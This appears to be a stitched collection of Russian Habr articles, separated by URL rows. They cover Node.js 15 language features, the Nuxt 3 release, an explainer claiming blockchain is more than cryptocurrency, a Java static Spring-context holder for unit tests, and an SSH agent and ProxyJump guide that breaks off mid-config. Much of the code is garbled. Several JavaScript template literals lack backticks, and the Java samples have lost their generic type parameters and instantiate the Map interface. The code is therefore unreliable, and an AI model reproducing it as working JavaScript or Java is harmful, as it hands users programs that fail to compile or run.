**Promise.all()** немедленно делает реджект на любое отклонение входного промиса или на любую ошибку в момент исполнения с возвратом сообщения об этой ошибке:
```
$ node myPromise.js
{ error: 'The error from 100 ms delay' }
```
[Promise.any()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/any) — новый метод в Node.js 15. Он противоположен методу [Promise.all()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all). Promise.any() принимает итерируемый объект, содержащий объекты “обещаний” Promise. И, как только одно из обещаний Promise в iterable выполнится успешно, метод возвратит единственный промис со значением выполненного «обещания».
Следующая программа вызывает **Promise.any()** для двух исполненных (resolved) промисов:
```
function myPromise(delay) {
return new Promise((resolve) =>
setTimeout(
() =>
resolve({
data: The error from ${delay} ms delay,
}),
delay
)
);
}
async function getData() {
try {
const data = await Promise.any([myPromise(5000), myPromise(100)]);
console.log(data);
} catch (error) {
console.log(error);
console.log(error.errors);
}
}
getData();
```
[Promise.any()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/any) возвращает первый исполненный (resolved) промис:
```
$ node myPromise.js
{ data: 'The error from 100 ms delay' }
```
Следующая программа вызывает **Promise.any()** для двух отклоненных (rejected) промисов:
```
function myPromise(delay) {
return new Promise((_, reject) =>
setTimeout(
() =>
reject({
error: The error from ${delay} ms delay,
}),
delay
)
);
}
async function getData() {
try {
const data = await Promise.any([myPromise(5000), myPromise(100)]);
console.log(data);
} catch (error) {
console.log(error);
console.log(error.errors);
}
}
getData();
```
Если промисы в iterable не исполняются, т.е. все данные промисы отклоняются, возвращенный промис отклоняется с **AggregateError**, новым подклассом **Error**, который группирует вместе отдельные ошибки.
```
$ node myPromise.js
[AggregateError: All promises were rejected]
[
{ error: 'The error from 5000 ms delay' },
{ error: 'The error from 100 ms delay' }
]
```
#### Await setTimeout и AbortController
В предыдущих примерах мы использовали **setTimeout** внутри вызова промиса.
**SetTimeout** в **WindowOrWorkerGlobalScope**, использует коллбэк. Однако **timers/promises** предоставляют промисифицированную версию **setTimeout**, которую можно использовать с async/await.
```
const { setTimeout } = require('timers/promises');
async function myPromise(delay) {
await setTimeout(delay);
return new Promise((resolve) => {
resolve({
data: The data from ${delay} ms delay,
});
});
}
async function getData() {
try {
const data = await Promise.any([myPromise(5000), myPromise(100)]);
console.log(data);
} catch (error) {
console.log(error);
console.log(error.errors);
}
}
getData();
```
[AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) — это объект JavaScript, который позволяет прервать один или несколько веб-запросов по желанию. Мы привели примеры использования **AbortController** в другой статье про [useAsync](https://medium.com/better-programming/the-power-and-convenience-of-useasync-e4a3e4934143).
И **await setTimeout**, и **AbortController** являются экспериментальными фичами.
#### String.prototype.replaceAll()
Давайте рассмотрим существующий метод **String.prototype.replace()**.
[replace()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace) возвращает новую строку с несколькими или всеми сопоставлениями с шаблоном, заменёнными на заменитель. Шаблон может быть строкой или регулярным выражением. Заменитель может быть строкой или функцией, вызываемой для каждого сопоставления.
Если шаблон является строкой, будет заменено только первое вхождение.
```
'20+1+2+3'.replace('+', '-');
```
Использование данного оператора даст **“20–1+2+3”**.
Чтобы заменить все «+» на «-», необходимо использовать регулярное выражение.
```
'20+1+2+3'.replace(/\+/g, '-');
```
Использование указанного выше оператора даст **“20–1-2-3”**.
Метод [replaceAll()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll) — новинка в Node.js 15. Благодаря его использованию, нам не придется использовать регулярное выражение. Этот метод возвращает новую строку со всеми сопоставлениями с шаблоном, замененными на заменитель. Шаблон может быть строкой или регулярным выражением, а заменитель может быть строкой или функцией, вызываемой для каждого сопоставления.
Благодаря методу **replaceAll()**, нам можно не использовать регулярное выражение для замены всех «+» на «-».
```
'20+1+2+3'.replaceAll('+', '-');
```
Выполнение данного оператора дает **“20–1-2-3”**.
#### Логические операторы присваивания &&=, ||= и ??=
[Логический оператор присваивания AND](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND_assignment) (**x &&= y**) выполняет операцию присваивания, только если x истинно.
**x &&= y** эквивалентно **x && (x = y)**, но не эквивалентно **x = x && y**.
```
let x = 0;
let y = 1;
x &&= 0; // 0
x &&= 1; // 0
y &&= 1; // 1
y &&= 0; // 0
```
[Логический оператор присваивания OR](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR_assignment) (x ||= y) выполняет операцию присваивания, только если x ложно.
**x ||= y** эквивалентно **x || (x = y)**, но не эквивалентно **x = x || у**.
```
let x = 0;
let y = 1;
x ||= 0; // 0
x ||= 1; // 1
y ||= 1; // 1
y ||= 0; // 1
```
[Логический оператор присваивания nullish](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_nullish_assignment) (x ??= y) выполняет операцию присваивания, только если x имеет значение NULL (**null** или **undefined**).
**x ??= y** эквивалентно **x ?? (x = y)**, и не эквивалентно **x = x ?? у**.
```
let x = undefined;
let y = '';
x ??= null; // null
x ??= 'a value'; // "a value"
y ??= undefined; // ""
y ??= null; // ""
```
### Другие изменения
Помимо режима **throw** при необработанном отклонении промиса и новых языковых фич V8 8.6, в Node.js 15 есть следующие изменения:
**NPM 7**: Много изменений, в том числе автоматическая установка смежных зависимостей, усовершенствование пакетов и yarn.lock файлов, поддержка рабочего пространства и др. Все это описано в данной статье по [ссылке](https://medium.com/better-programming/the-step-by-step-guide-to-understanding-and-adopting-npm-7-914504f7090f).
**QUIC**: Экспериментальная поддержка протокола транспортного уровня UDP, который является основным протоколом для HTTP / 3. QUIC включает встроенную систему безопасности с TLS 1.3, управление потоком, исправление ошибок, миграцию подключений (connection migration) и мультиплексирование.
**N-API Version 7**: API для создания собственных аддонов. Не зависит от среды выполнения JavaScript, лежащей в основе, и поддерживается как часть самого Node.js.
**Усовершенствование API асинхронного локального хранилища (Async Local Storage)**: Предоставляет возможность для более сложного логирования и анализа фич для крупномасштабных приложений.
### Заключение
В новой версии Node.js 15 большое количество новых функций и улучшений, в том числе и достаточно существенных.
Попробуйте новую версию и будьте готовы к обновлению проектов.
Спасибо за внимание! Надеюсь, статья была полезна для вас. | https://habr.com/ru/post/538782/ | null | ru | null |
# NuxtJS получил тройку, потерял JS и меняет фронтенд
17 ноября вышла стабильная версия Nuxt 3.0 (*теперь без JS*) - популярного фреймворка для построения фронтенд-приложений на Vue 3.
Поэтому публикую тут самые важные, на мой взгляд, новые фичи + некоторые мысли насчёт увиденного.
В последнее время уже было под вопросом, кто кого опередит с третьей версией - Себастьян Шопэн (создатель NuxtJS) или Гейб Ньюэлл (папа Half-Life). Шутка ли:
* работа над третьей версией Нукста началась около 2.5 лет назад
* первая бета вышла практически год назад, в октябре 2021 года
* было выпущено 14 релиз-кандидатов
И вот 17 ноября, во время Nuxt Nation (конференция, посвящённая фреймворку - на ней даже выступает Эван Ю!) было торжественно объявлено, что больше никаких критичных изменений API не будет, фреймворк готов к работе на ответственных проектах и адаптации бизнес-пользователями.
Я приведу здесь важные ссылки, после чего расскажу что такое Nuxt вообще и почему выпуск третьей версии на мой взгляд важен не только для любителей Vue, но и для всего фронтенд-сообщества в целом.
**Новый вебсайт:** [Nuxt.com](https://nuxt.com)
**Ссылка на конференцию:** [Nuxt Nation 2022](https://vi.to/hubs/nuxtnation/)
Что вообще такое NuxtJS?
------------------------
Это небольшое предисловие для начинающих. Если хотите скакнуть к новым фишкам в Nuxt 3 - [вам сюда.](#new)
Если коротко - это Next.js, но для Vue. А что такое Next?
*Зачем нам вообще эти штуки, нам просто Vue и React недостаточно?*
Оказывается, недостаточно - Vue и React это просто библиотеки для реактивности данных. Чтобы облегчить нам разработку полноценных приложений - появились "универсальные фреймворки". По сути всё началось с одной прекрасной маленькой идеи:
> Делать SPA на Vue/React - здорово.
>
> Делать SSR с Vue/React, чтобы у нас нормально работал SEO - ужасно.
>
>
SSR - это когда приложения рендерят страницы на сервере, после чего они отправляются пользователю. Это традиционный подход, которому несколько десятков лет: когда юные веб-разработчики делают своё первое `echo "Hello, $username!";` на PHP - это server-side rendering.
Может тогда вебу не доставало динамики на страницах и прикольных UX-переходов, но такие страницы очень любят поисковые движки, а ещё они очень быстро загружаются.
Всё стало труднее, когда мы распробовали Single Page Application и теперь у нас даже CSS в JS. JavaScript отвечал за вывод контента, за его оформление, за динамику на странице. Разработчики столкнулись с двумя проблемами:
* **Поисковые движки такое не любят:** им подавай HTML в чистом виде, чтобы быстренько проглотить и разметить по ключевым словам. Конечно, говорят что Google уже всё умеет рендерить вместе с JS, но тут появляется вторая проблема...
* **"Ааа, у нас бандл на 10 мегабайт!":** при неумелом пользовании SPA-приложения раздуваются просто невероятным образом. Каждый из нас встречал сайты, на которых крутится колёсико, пока в фоне загружаются огромные куски JS, а всё что тебе нужно - это найти нас странице подходящую марку бетона под фундамент. Вот это уже не любят ни поисковики, ни пользователи.
Это и привело к появлению Н**е**кста, а через некоторое время - Нукста. Да, Нукст взял очень много идей от Некста, но разве хорошими идеями нельзя делиться? Нукст в любом случае не занимается просто копированием, это вполне самобытный и развивающийся продукт.
То, что настроить SSR, роутинг и правильно "паковать" приложение - сложно, Эван Ю признавал сам в документации и всех отправлял на сайт Нукста.
NuxtJS (по крайней мере, второй версии) представлял из себя *мета-фреймворк -* он брал Vue, брал vue-router, брал vuex, держал под капотом express для серверной части, dotenv для конфигураций - и в базовой комплектации давал пользователю:
* **SSR и SEO из коробки** - не думай об этом, просто пропиши тайтлы и мета и вперёд!
* **Файловый роутинг** - ничего не прописывай сам, просто разложи страницы-компоненты по папочкам и папочка-Нукст сам простроит все роуты!
* **Гидратацию компонентов** - это когда пользователь (или веб-краулер) сразу получает контент на странице, а нужный JS подгружается в фоне. Пользователь довольно урчит, краулер довольно моргает лампочками на сервере, все довольны.
А там ещё и автоимпорт компонентов, загрузка данных в хуках на странице, десятки хорошо интегрированных плагинов - и axios тебе, и авторизация с бэкендом Laravel за три строчки и ещё куча всего. С Нукст даже ваша бабушка, если она может написат SFC на Vue, станет классным веб-девелопером.
Однако на этом развитие не останавливается, поэтому Nuxt 3 шагает широко.
Vue 3, Vite, Nuxt - связываем экосистему
----------------------------------------
К Vue второй версии было много вопросов. Многим не нравилось, что код группируется по хукам жизненного цикла и свойствам, а не по логике. Многие плевались, пытаясь привязать лошадку Vue к стойлу TypeScript.
Эван Ю, спокойный и тихий, переписал практически всю логику, представив Composition API и полную поддержку TypeScript.
Да, про Composition API было много споров. Кто-то громко кричал, что не хочет и не будет этим пользоваться (хотя предыдущий вариант, Options API, никто и не убирал). Кто-то тихонько начал смотреть, что подготовил нам великодушный диктатор Ю и втянулся (ваш покорный слуга в их числе).
Я не буду приводить здесь код - если вы в теме, вы в теме. Если нет и хотите узнать больше - можете заглянуть [на эту страничку](https://mokkapps.de/blog/why-i-love-vue-3-s-composition-api/)
Вместе с выпуском третьей версии Vue, Эван также выпустил Vite - новый ***инструмент,*** одной из задач которого стало заменить Webpack, упростив и ускорив сборку. Да так выпустил, что Тейлор Отвелл и Джеффри Вэй выкинули из новых версий Ларавеля Laravel Mix.
* **Laravel** - популярнейший фреймворк для PHP. Тэйлор Отвелл - его автор.
* **Laravel Mix** - инструмент, надстройка над вебпаком, которая служит для облегчения конфигурации вебпака обычными людьми. Джеффри Вей - автор этого инструмента и великий учитель программирования. Поддерживал Laravel Mix лет десять.
* **Vite** - просто пришёл и сделал Laravel Mix не нужным. Все новые версии Laravel поставляются просто с Vite.
Мы ещё вернёмся к Laravel, потому что текущая ситуация наводит меня на некоторые мысли.
Ещё команда Vue (в частности [github.com/posva](http://github.com/posva)) переписала state-management с нуля, выкинув Vuex и сделав Pinia.
"Детка, управление состоянием приложения - это просто", словно говорит нам этот ананасик. Да, это официальный логотип нового Vue StoreНу ладно, Эван и ребята провели титаническую работу, а что же команда Nuxt?
Новое-интересное в Nuxt 3
-------------------------
* Полная поддержка TypeScript и Vue 3 (который сам по себе быстрее Vue 2 и потребляет меньше памяти - ссылка на [Google Docs](https://docs.google.com/spreadsheets/d/1VJFx-kQ4KjJmnpDXIEaig-cVAAJtpIGLZNbv3Lr4CR0/edit#gid=0))
* По дефолту бандлером выступает Vite
* Мы теперь можем выбирать не только между SSR и static - там куча гибридных режимов работы приложения
* Улучшенный динамический роутинг
* Огромное количество плагинов, в том числе и с first-party поддержкой - от авторизации до обработки изображений. Автоматическое подключение плагинов
* Новая папка "server", которая может заменить вам весь бэкенд (да-да, вы это уже видели в Next.JS, я знаю)
* Новый node-сервер Nitro, о котором много рассказывать, но благодаря которому Nuxt уже приближается к определению фулстек-фреймворка и может работать, как пишут, в любой среде.
* **И ещё они заменили множество сторонних библиотек самописными решений, которые собраны на unjs.io - там тебе и реализация fetch вместо axios, и своя библиотека для чтения конфигураций, и микросервер для http-запросов вместо express...**
Стоп, что? В мире JS кто-то старается свести к минимуму зависимости от других библиотек?
Светлой памяти Чедвика БоузманаПризнаться, меня это удивило. Я давно с интересом наблюдаю, как Laravel старается предложить как можно больше собственных решений, меняя устоявшуюся экосистему PHP - чего стоит только Pest, их новый фреймворк для тестирования. И как они стараются всё меньше полагаться на чужие пакеты (ну, кроме пакетов Symfony конечно).
Понятно, что свой пакет - это свой пакет. Таких пакетов может быть много, но этот - твой. Он удобнее, он понятнее, он лучше ложится в руку. И когда у тебя достаточно ресурсов для поддержания своего маленького зоопарка пакетов в твоей \*\*\*Labs (NuxtLabs, Tailwind Labs...) - ты, вероятно, так и сделаешь.
Кстати, заглянув на сайт Next.js, я увидел... [TURBOPACK!](https://vercel.com/blog/turbopack) Vercel (создатели Next.js) наняли разработчика вебпака, чтобы переписать вебпак на расте. И главное не то, что он обходит вебпак по скорости - главное, что он быстрее Vite.
Мы вступаем в интересные времена
--------------------------------
Вероятно, **Vercel/Next** почуствовали угрозу от расширяющейся экосистемы Vue - что же они так всполошились? Раньше вебпак устраивал - а теперь не устраивает? Раст ведь не вчера появился.
А думается мне вот что - фронтенд меняется. JS меняется. Наконец-то.
Фреймворки теперь большие. То есть они и раньше были большими по кодовой базе, но теперь они как будто остались единственным мужчиной в семье - на них лежит отвественность.
Они приносят деньги, они делают бизнес. От них зависят другие люди, которые делают продукты на основе фреймворков, которые приносят деньги. Им посвещают конференции.
Они приосанились, надели галстук - теперь пожалуйста обращайтесь Nuxt, да, я купил "красивый номер", нет, я не только для ssr, я "intuitive web framework" и даже больше, смотрите, какие контакты в моей визитнице: Стэковерфлоу, Апворк, ТикТок, Озон... так а это как сюда попало?
Ну а про Next.js и говорить нечего - чернёное серебро, словно "майбах" проехал. И он будет отвечать Нуксту тем же.
Вдалеке будет гордо стоять Svelte, и все будут изредка ходить ночью прикоснуться к нему.
Мы больше не хватаем пакеты из npm через поиск гугла. Нельзя допустить, чтобы бизнес остановился из-за того, что кто-то удалит пакет из npm (да, больше нельзя) или заразит пакет из npm майнером-стирателем (а вот это вроде можно). Люди получают деньги и готовы вкладывать их, чтобы именно их экосистема считалась самой лучшей, самой удобной, самой надёжной, самой-самой. Мы по прежнему опен-сорс, но каждый у себя в башне.
(Кстати, ситуация, когда один из самых популярных пакетов на NodeJS, на котором завязано много других приложений, много лет поддерживается [одним парнем с попугаем на аватарке](https://github.com/dougwilson) - мне если честно до сих пор кажется дикой)
*Тут я хотел вставить тот комикс из xkcd, но мне кажется картинок и так уже много.*
Нет, это не будет стагнацией. Наверное это будет... взрослением? Как вы считаете?
P.S. Также вы можете высказать автору прямо в комментариях что он не прав или что он прав, но слоупок и это было давно понятно всем уже давно.
P.P.S. Хех, как будто вам нужно было на это разрешение, да? | https://habr.com/ru/post/700468/ | null | ru | null |
# Блокчейн ≠ Криптовалюта. Блокчейн > Криптовалюта
Криптовалюты постепенно совершают переворот в мире финансов, заставив многих посмотреть на веб более серьезно, и считается, что во многом это заслуга технологии блокчейн, которую напрямую ассоциируют с Биткойном. И, таким образом, сам блокчейн померк в свете славы собственного "наследника". В этой статье я постараюсь на пальцах объяснить одну из самых значимых компьютерных технологий и положить конец заблуждению, что блокчейн – это криптовалюта или финансовая база данных. Забегая вперед скажу, что вы вероятнее всего уже работаете с блокчейном, даже, если никогда не сталкивались с криптовалютами.
Для того чтобы понять почему блокчейн не равняется криптовалюте достаточно хотя бы того что блокчейн был изобретен и использовался раньше криптовалют. Но цель статьи в том чтобы дать понимание самой технологии, а для этого нужно выделить общие признаки для всех имеющихся валют: каждая неизменно включает в себя три элемента – это цепочка блоков (собственно блокчейн), цифровая подпись и CRDT. Рассмотрим их подробнее.
Я осознанно исключаю сетевую структуру (децентрализованная, федеративная) и способы майнинга, так как они отличаются от системы к системе.
Цепочка блоков
--------------
Блокчейн – это хронологическая база данных, т.е. такая база данных, в которой время *когда* была сделана запись неразрывно связано с самими данными. Что делает ее не коммутативной (a + b ≠ b + a). Пример:
Добавим в обычную реляционную БД с полями Name и City две записи:
```
Иван Иванов, Москва
Петр Петров, Санкт-Петербург
```
Теперь если мы удалим Ивана Иванова, а затем добавим его снова, то база данных до и база данных после будут одинаковы, другими словами база данных вернется в прежнее состояние. С блокчейном все не так, даже если мы удалим, а затем вновь добавим запись, то состояние не восстановится, не смотря на то что данные одни и те же. Если совсем просто, то текущее состояние блокчейна – это сумма всех предыдущих действий.
В первую очередь это нужно для того, чтобы защитить базу от записи "задним числом". Для этого используются функции, которые превращают любые данные в *уникальное* число фиксированной длинны (hash-функции). В виде псевдокода блокчейн можно выразить так:
```
block0 = hash(data0)
block1 = hash(data1 + block0)
block2 = hash(data2 + block1)
block3 = hash(data3 + block2)
...
```
Так мы получим четыре уникальных числа, которые раздадим независимым пользователям (чем больше тем лучше). Теперь, если мы изменим значения в data1, то значения block1, block2 и block3 изменятся, таким образом пользователи смогут сравнить свои значения blockN и понять что произошла подмена.
Цифровая подпись
----------------
Все операции в криптовалюте должны быть авторизованы и единственным способом авторизации является использование цифровой подписи – все участники системы могут удостовериться в источнике данных, не используя при этом центральных серверов со скрытыми механизмами проверки. Проверка подлинности может происходить на вашей машине, по знакомому вам алгоритму.
CRDT
----
Не смог лаконично перевести этот термин на русский. CRDT или Conflict-Free replicated Data Types – это такие типы данных, которые не подвержены коллизиям при одновременном распределенном доступе, а самое главное – воспроизводимые. Другими словами из последовательности операций можно восстановить значение на любой момент времени.
Криптовалюты это ни что иное как бухгалтерские проводки, которые представляют из себя последовательность действий списаний и зачислений. Простейший пример того как это выглядит:
```
Время Операция
13:00 +7.5 # состояние счета 12.5
12:00 -5 # состояние счета 5
11:00 +10 # состояние счета 10
10:00 0 # состояние счета 0 (счет создан)
```
Зная текущее состояние 12.5 мы можем восстановить состояние счета на 12 часов отменив операцию зачисления +7.5, заменив ее вычитанием. Так же это экономит время при распространении изменений: вы отправляете только саму дельту, а не всё значение целиком.
Такие типы данных могут быть не только числами, но и строками, списками или датами.
Заключение
----------
Если взять блокчейн и CRDT, то мы получим хорошо знакомый всем git. Да, тот самый git, который совершил революцию в разработке ПО и который разработчики используют каждый день. Возможно вы также знаете, что с помощью гит, можно не только разрабатывать программы, но и вести блог, а поместив в него csv, получить базу данных, которая помнит все изменения и обладает функцией перемотки.
Исходя из вышесказанного напрашивается вывод: блокчейн используется для поддержания целостности данных. Таким образом совершенно не важно что вы поместите в блокчейн – все владельцы копии смогут удостовериться, что данные верны. Даже если в блокчейн пишете только вы, то сторонний наблюдатель всегда сможет удостовериться, что вы не поменяли что-то задним числом. Другими словами это механизм поддержания доверия к данным.
А вот доверие к данным необходимо в документообороте, системах голосования, для хранения акционерной информации, в медицине и нотариальном деле, и может использоваться для ведения дел в государственных учреждениях. Эта технология позволит придать цифрам юридическую силу и полностью отказаться от бумажных носителей и ручной подписи. Так что блокчейну еще есть где проявить себя и в ближайшие годы мы будем лишь наблюдать как он захватывает технологический мир. | https://habr.com/ru/post/313212/ | null | ru | null |
# Создание spring beans из обычных классов и юнит тесты
У нас и rich client, и сервер активно используют Spring. И очень быстро возникла проблема — как использовать спринг бины из обычных классов (которые сами — не бины).
Сначала возникли две идеи — передавать им нужные бины как аргументы в конструкторе или использовать какое то статическое поле для хранения Spring context.
Первая идея была признана порочной. Получается, что ныжные сервисы надо тянуть через длинную череду конструкторов.
Вторая идея тоже была признана порочной — возникает вопрос кто и когда будет инициализировать это поле и что будет происходить с юнит тестами.
Вскоре я нагуглил в интернетах такой красивый вариант:
```
@Service
public class StaticContextHolder implements BeanFactoryAware {
public static BeanFactory CONTEXT;
public StaticContextHolder() {
}
public static Object getBean(String s) throws BeansException {
return CONTEXT.getBean(s);
}
public static T getBean(String s, Class tClass) throws BeansException {
return CONTEXT.getBean(s, tClass);
}
public static T getBean(Class tClass) throws BeansException {
return CONTEXT.getBean(tClass);
}
public static Object getBean(String s, Object... objects) throws BeansException {
return CONTEXT.getBean(s, objects);
}
public static boolean containsBean(String s) {
return CONTEXT.containsBean(s);
}
@Override
public void setBeanFactory(BeanFactory applicationContext) throws BeansException {
logger.assertNull(CONTEXT, "CONTEXT is not null. Double Spring context creation?");
CONTEXT = applicationContext;
}
}
```
И это работает отлично.
Однако же для юнит тестов пришлось это всё немного модифицировать.
У нас есть тесты, которые создают спринг контекст. Поэтому я добавил в этот класс такое метод:
```
@PreDestroy
public void resetStatics() {
CONTEXT=null;
}
```
Во вторых, если юнит тест не создаёт спринг котекст, но тестируемый класс использует StaticContextHolder, надо чтобы зависимости он получал из него.
Я сделал свой фиктивный контекст:
```
public class FakeBeanFactory implements BeanFactory {
private Map beans;
public FakeBeanFactory (Map beans) {
this.beans = beans;
}
@Override
public Object getBean(String s) throws BeansException {
return beans.get(s);
}
@Override
public T getBean(String s, Class tClass) throws BeansException {
return (T) beans.get(s);
}
@Override
public T getBean(Class tClass) throws BeansException {
return (T) beans.get(tClass.getName());
}
@Override
public Object getBean(String s, Object... objects) throws BeansException {
return beans.get(s);
}
@Override
public boolean containsBean(String s) {
return false; // мне он не нужен
}
@Override
public boolean isSingleton(String s) throws NoSuchBeanDefinitionException {
return false; // мне он не нужен
}
@Override
public boolean isPrototype(String s) throws NoSuchBeanDefinitionException {
return false; // мне он не нужен
}
// ....
}
```
Теперь инициализация юнит теста выглядит так:
```
@Before
public void init() {
Map beans = new Map();
beans.put("service-dependency", new MockupDependencyImpl());
StaticContextHolder.CONTEXT = new FakeBeanFactory(beans));
}
```
Теперь остаётся еще одна проблема: prototype beans, которые создаются через init method, например
```
```
Для этого заведём в FakeBeanfactory еще один Map:
```
Map initMethods
```
и перепишем один метод:
```
public Object getBean(String s, Object... objects) throws BeansException {
return initMethods.get(s).invoke(null, objects);
}
```
и инициализируем этот Map статических методов его в инициализации юнит теста.
Ну вот. Как то так.
Буду рад, если кто то подскажет как лучше решать все эти проблемы. | https://habr.com/ru/post/139093/ | null | ru | null |
# Про SSH Agent
### Введение
SSH-agent является частью OpenSSH. В этом посте я объясню, что такое агент, как его использовать и как он работает, чтобы сохранить ваши ключи в безопасности. Я также опишу переадресацию агента и то, как она работает. Я помогу вам снизить риск при использовании переадресации агента и поделюсь альтернативой переадресации агента, которую вы можете использовать при доступе к своим внутренним хостам через bastion’ы.
### Что такое SSH-agent
`ssh-agent` — это менеджер ключей для SSH. Он хранит ваши ключи и сертификаты в памяти, незашифрованные и готовые к использованию `ssh`. Это избавляет вас от необходимости вводить пароль каждый раз, когда вы подключаетесь к серверу. Он работает в фоновом режиме в вашей системе, отдельно от `ssh`, и обычно запускается при первом запуске `ssh`.
Агент SSH хранит секретные ключи в безопасности из-за того, что он *не делает*:
* Он не записывает никакой информации о ключах на диск.
* Он не позволяет экспортировать ваши личные ключи.
Секретные ключи, хранящиеся в Агенте, могут использоваться только для одной цели: подписания сообщения.
**Но если агент может только подписывать сообщения, как SSH шифрует и расшифровывает трафик?**
При первом изучении открытых и закрытых ключей SSH естественно предположить, что SSH использует эти пары ключей для шифрования и дешифрования трафика. Именно так я и думал. Но это не тот случай. Пара ключей SSH используется только для аутентификации во время первоначального соединения.
Например, вот как проверяется ключ пользователя во время SSH-соединения, с точки зрения сервера:
* Клиент предоставляет серверу публичный ключ.
* Сервер генерирует и отправляет короткое случайное сообщение, прося клиента подписать его с помощью приватного ключа.
* Клиент просит агента SSH подписать сообщение и пересылает результат обратно на сервер.
* Сервер проверяет подпись, используя публичный ключ клиента.
* Теперь у сервера есть доказательство того, что клиент владеет приватным ключом.
Позже в процессе соединения генерируется набор новых, эфемерных и симметричных ключей, которые используются для шифрования трафика сеанса SSH. Эти ключи могут даже не длиться весь сеанс; событие «rekey» происходит через регулярные промежутки времени.
### Протокол агента
SSH использует сокет домена Unix для общения с агентом по [протоколу SSH agent](https://tools.ietf.org/html/draft-miller-ssh-agent-04). Большинство людей используют `ssh-agent`, который поставляется с OpenSSH, но есть множество альтернатив с открытым исходным кодом.
Протокол агента настолько прост, что можно было бы написать базовый SSH-agent за день или два. Он имеет только несколько основных операций:
* Добавить обычную пару ключей (публичный и расшифрованный приватный ключи)
* Добавить ограниченную пару ключей (публичный и расшифрованный приватный ключи)
* Добавить ключ (обычный или ограниченный) из смарт-карты (только публичный ключ)
* Удалить ключ
* Вывод списка ключей, хранящихся в агенте
* Подпись сообщения ключом, хранящимся в агенте
* Блокировка или разблокировка всего агента с помощью пароля
Что такое ограниченный ключ? Обычно это ключ, который либо имеет ограниченный срок службы, либо требует явного подтверждения пользователя при его использовании.
Команда `ssh-add` — это ваш шлюз к агенту SSH. Он выполняет все эти операции, кроме подписи. Когда вы запускаете ssh-add без каких-либо параметров, он будет сканировать ваш домашний каталог на наличие некоторых стандартных ключей и добавлять их в ваш агент. По умолчанию он ищет:
* `~/.ssh/id_rsa`
* `~/.ssh/id_ed25519`
* `~/.ssh/id_dsa`
* `~/.ssh/id_ecdsa`
Как только вы добавите ключи к связке ключей, они будут автоматически использоваться `ssh`.
**`ssh-агент` и macOS Keychain**
`ssh-agent`, поставляемый вместе с macOS, может хранить парольную фразу для ключей в macOS Keychain, что делает еще более простым повторное добавление ключей к агенту после перезагрузки. В зависимости от настроек Keychain вам все равно может потребоваться разблокировать его после перезагрузки. Чтобы сохранить ключевые парольные фразы в Keychain, выполните команду `ssh-add -K [имя файла ключа]`. Парольные фразы обычно хранятся в «Local Items». `ssh-agent` будет использовать эти сохраненные парольные фразы автоматически по мере необходимости.
### Что такое переадресация агента
Функция переадресации агента позволяет вашему локальному агенту SSH связаться *через* существующее SSH-соединение и прозрачно аутентифицироваться на более удаленном сервере. Например, предположим, что вы входите по SSH в инстанс EC2 и хотите клонировать оттуда приватный репозиторий GitHub. Без переадресации агента вам придется хранить копию вашего приватного ключа GitHub на хосте EC2. При переадресации агента SSH-клиент на EC2 может использовать ключи на вашем локальном компьютере для аутентификации на GitHub.
### Как работает переадресация агента
Во-первых, немного предыстории. SSH-соединения могут иметь несколько каналов. Вот распространенный пример: интерактивное соединение с bastion-host (jump box) выполняется на одном канале. Когда для соединения включена переадресация агента (обычно с использованием `ssh -A`), в фоновом режиме открывается второй канал для переадресации любых запросов агента обратно на ваш локальный компьютер.
С точки зрения `ssh`, нет никакой разницы между удаленным и локальным `ssh-agent`. SSH всегда смотрит на переменную окружения `$SSH_AUTH_SOCK`, чтобы найти доменный сокет Unix для агента. При подключении к удаленному хосту с включенной переадресацией агента SSHD создаст удаленный доменный сокет Unix, связанный с каналом переадресации агента, и экспортирует `$SSH_AUTH_SOCK`, указывающий на него.
### Переадресация агента связана с определенным риском
Когда вы переадресовываете доменный сокет `ssh-agent` Unix на удаленный хост, это создает угрозу безопасности: любой человек с root доступом на удаленном хосте может незаметно получить доступ к вашему локальному SSH-agent’y через сокет. Они могут использовать ваши ключи, чтобы выдавать себя за вас на других машинах в сети.
Вот пример того, как это может выглядеть:
### Как снизить свой риск при переадресации агента
Вот несколько способов сделать переадресацию агента более безопасной:
* Не включайте `ForwardAgent` по умолчанию.
Заблокируйте свой ssh-агент, когда вы используете переадресацию агента. `ssh-add -x` блокирует агент паролем, а `ssh-add -X` разблокирует его. Когда вы подключены к удаленному хосту с переадресацией агента, никто не сможет проникнуть в ваш агент без пароля.
Или используйте альтернативный агент SSH, который запрашивает вас, когда он используется. [Sekey](https://github.com/sekey/sekey) использует Touch ID на macOS для хранения ключей в анклаве безопасности MacBook Pro.
Или вообще не используйте переадресацию агента. Если вы пытаетесь получить доступ к внутренним хостам через bastion, `ProxyJump` — гораздо более безопасная альтернатива для этого варианта использования. (смотреть ниже)
### Используйте `ProxyJump`: более безопасная альтернатива
Когда вы хотите пройти через bastion-host (jumpbox), вам действительно не нужна переадресация agent’a. Лучший подход — использовать директиву `ProxyJump`.
Вместо того чтобы перенаправлять agent’a по отдельному каналу, `ProxyJump` перенаправляет стандартный вход и выход вашего локального SSH-клиента через bastion и далее на удаленный хост. Вот как это работает:
1. Запустите `ssh -J bastion.example.com cloud.computer.internal` для подключения к `cloud.computer.internal` через ваш bastion хост — `bastion.example.com`. `cloud.computer.internal` — это имя хоста, которое можно найти с помощью поиска DNS на `bastion.example.com`.
2. Ваш SSH клиент использует ключи от вашего агента для подключения к `bastion.example.com`.
3. После подключения SSHD к bastion подключается к `cloud.computer.internal` и передает это соединение вашему локальному SSH-клиенту.
4. Ваш локальный SSH-клиент снова проходит через соединение, на этот раз с `cloud.computer.internal`
Вы можете думать об этом как о SSH в сеансе SSH; за исключением того, что ssh никогда не запускается на bastion. Вместо этого `sshd` подключается к `cloud.computer.internal` и дает контроль над этим соединением (стандартный вход и выход) обратно в ваш локальный SSH, который затем выполняет второе соединение.
**Настройка ProxyJump**
Скажем bastion-host это `bastion.example.com`. Я могу настроить свой `~/.ssh/config` так:
```
Host bastion.example.com
User carl
